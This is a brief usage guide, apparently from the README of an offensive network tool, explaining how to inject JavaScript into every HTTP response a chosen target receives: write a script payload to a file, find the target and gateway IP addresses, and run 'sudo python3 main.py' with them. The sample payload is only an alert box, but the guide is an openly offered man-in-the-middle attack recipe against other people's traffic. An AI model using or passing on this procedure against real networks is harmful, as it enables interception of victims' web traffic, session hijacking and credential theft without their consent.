- Write this to a file:
<script>alert('this is my payload!');</script>
- Discover your target's ip and gateway ip: you can use subdisc for this task.
- Run:
sudo python3 main.py [target ip] [gateway ip] js my_file.js
- The payload will be injected on every http response the target gets